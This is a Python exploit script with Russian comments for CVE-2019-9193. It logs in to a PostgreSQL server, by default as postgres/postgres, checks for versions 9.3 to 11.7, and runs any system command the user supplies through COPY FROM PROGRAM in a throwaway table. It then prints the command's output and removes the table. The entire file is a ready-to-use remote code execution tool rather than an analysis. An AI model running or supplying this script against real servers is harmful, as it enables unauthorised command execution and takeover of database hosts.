import psycopg2
import argparse
import hashlib
import time

# Парсинг и обработка аргументов
def parse_arguments():
    parser = argparse.ArgumentParser(
        description='Exploit CVE-2019-9193 - PostgreSQL 9.3-11.7 Authenticated RCE')
    
    # параметры для подключения к базе данных и выполнения команды
    parser.add_argument('-i', '--ip', type=str, default='127.0.0.1',
                        help='IP-адрес PostgreSQL сервера [По умолчанию: 127.0.0.1]')
    parser.add_argument('-p', '--port', type=int, default=5432,
                        help='Порт PostgreSQL сервера [По умолчанию: 5432]')
    parser.add_argument('-d', '--database', default='template1',
                        help='Имя базы данных PostgreSQL [По умолчанию: template1]')
    parser.add_argument('-c', '--command', help='Системная команда для выполнения')
    parser.add_argument('-t', '--timeout', type=int, default=10,
                        help='Тайм-аут подключения в секундах [По умолчанию: 10]')
    parser.add_argument('-U', '--user', default='postgres',
                        help='Имя пользователя для подключения [По умолчанию: postgres]')
    parser.add_argument('-P', '--password', default='postgres',
                        help='Пароль для подключения [По умолчанию: postgres]')
    
    return parser.parse_args()

# Проверка уязвимости по версии PostgreSQL
def check_pg_vulnerability(connection):
    cursor = connection.cursor()
    cursor.execute("SELECT version()")
    pg_version_info = cursor.fetchall()
    cursor.close()

    pg_version_str = extract_version(pg_version_info)
    pg_version_number = float(pg_version_str.split("PostgreSQL ")[1][:4])

    # Проверка уязвимой версии PostgreSQL
    if 9.3 <= pg_version_number <= 11.7:
        print(f"[+] Уязвимая версия PostgreSQL обнаружена: {pg_version_number}")
    else:
        print(f"[-] Версия PostgreSQL {pg_version_number} не уязвима")
        exit()

# Соединение с базой данных
def connect_to_database(args):
    try:
        print(f"\r\n[+] Подключение к базе данных PostgreSQL на {args.ip}:{args.port}")
        
        conn = psycopg2.connect(
            database=args.database,
            user=args.user,
            password=args.password,
            host=args.ip,
            port=args.port,
            connect_timeout=args.timeout
        )
        print("[+] Соединение успешно установлено")
        return conn

    except psycopg2.OperationalError as conn_error:
        print(f"[-] Ошибка подключения: {conn_error}")
        exit()

# Выполнение команды через уязвимость PostgreSQL
def execute_command_via_pg(conn, cmd):
    cursor = conn.cursor()
    table_name = generate_table_name()

    try:
        print(f"[+] Создание временной таблицы: {table_name}")
        cursor.execute(f"""
            DROP TABLE IF EXISTS {table_name};
            CREATE TABLE {table_name}(output TEXT);
            COPY {table_name} FROM PROGRAM '{cmd}';
            SELECT * FROM {table_name};
        """)

        print("[+] Команда успешно выполнена")

        # Извлечение и вывод результата команды
        command_result = cursor.fetchall()
        output = extract_version(command_result)

        print(output)
        
        # Удаление временной таблицы
        cursor.execute(f"DROP TABLE {table_name}")
        print(f"[+] Временная таблица {table_name} удалена")

    except psycopg2.errors.ExternalRoutineException as e:
        print(f"[-] Ошибка выполнения команды: {e.pgerror}")
        print(f"[+] Удаление временной таблицы {table_name}")
        cursor.execute(f"DROP TABLE {table_name}")

    finally:
        cursor.close()

# Генерация уникального имени таблицы на основе хэша текущего времени
def generate_table_name():
    return "temp_" + hashlib.md5(time.ctime().encode('utf-8')).hexdigest()

# Извлечение версии PostgreSQL из результата запроса
def extract_version(records):
    return "\r\n".join(record[0] for record in records)

# Основной метод запуска эксплуатации уязвимости
def exploit(args):
    connection = connect_to_database(args)
    check_pg_vulnerability(connection)
    if args.command:
        execute_command_via_pg(connection, args.command)
    else:
        print("[+] Используйте аргумент -c для выполнения системной команды")

if __name__ == "__main__":
    args = parse_arguments()
    exploit(args)